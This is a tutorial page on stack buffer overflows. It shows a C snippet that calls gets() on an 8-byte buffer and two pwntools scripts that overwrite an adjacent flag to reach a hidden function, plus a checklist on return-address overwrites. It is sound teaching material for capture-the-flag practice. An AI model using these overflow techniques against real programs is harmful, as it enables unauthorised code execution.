Memory overwrite
Example case: change a local flag
Section titled “Example case: change a local flag”The relevant source shape is:
char buf[8];int protect = 0;gets(buf);
if (protect == 1) { getThis();}For this build, the measured layout places protect immediately after the 8-byte buffer. The payload writes eight filler bytes, then changes the low byte of the zero-initialized integer to 1.
from pwn import *
p = process("./flag-check")
payload = b"A" * 8 # fill bufpayload += b"\x01" # protect becomes 1 (little-endian int was zero)
p.sendline(payload)p.interactive()gets stops at the newline and writes a trailing NUL. Because the remaining bytes of protect were already zero in this build, changing its first byte is enough. The target’s compiler and build determine local-variable order; confirm the byte at protect in GDB before relying on this offset.
General overwrite checklist
Section titled “General overwrite checklist”- Data-only: the payload changes a nearby flag, length, index, or pointer. It may reach the desired branch without changing the saved return address.
- Control-flow: the payload reaches a saved return address. Measure its offset with a cyclic pattern, then pack the target address.
- Input boundary:
gets,read,fgets, and menu parsers handle newline and NUL bytes differently. Match the actual function. - Runtime check: inspect the value or saved return slot after input. Do not infer the layout from the C declaration order.
For a return-address overwrite, continue to Ret2win. For a saved-register-adjusted return path, see Stack pivot.
Complete script
Section titled “Complete script”Save this as overwrite.py beside the local example binary. It sends the full input, collects the program output, and prints it as text. The 8-byte distance is valid only for a build where GDB confirms protect immediately follows buf.
#!/usr/bin/env python3from pwn import *
BINARY = "./flag-check"
context.log_level = "info"context.binary = elf = ELF(BINARY, checksec=False)
payload = b"A" * 8 + b"\x01"log.info("sending %d bytes", len(payload))log.debug("payload:\n%s", hexdump(payload))
io = process(elf.path)io.sendline(payload)output = io.recvall(timeout=2)print(output.decode("utf-8", errors="replace"))Run it with python3 overwrite.py. If the binary waits for a prompt, use its exact bytes with io.sendlineafter(PROMPT, payload); if it reads multiple fields, send each field in the order the program expects.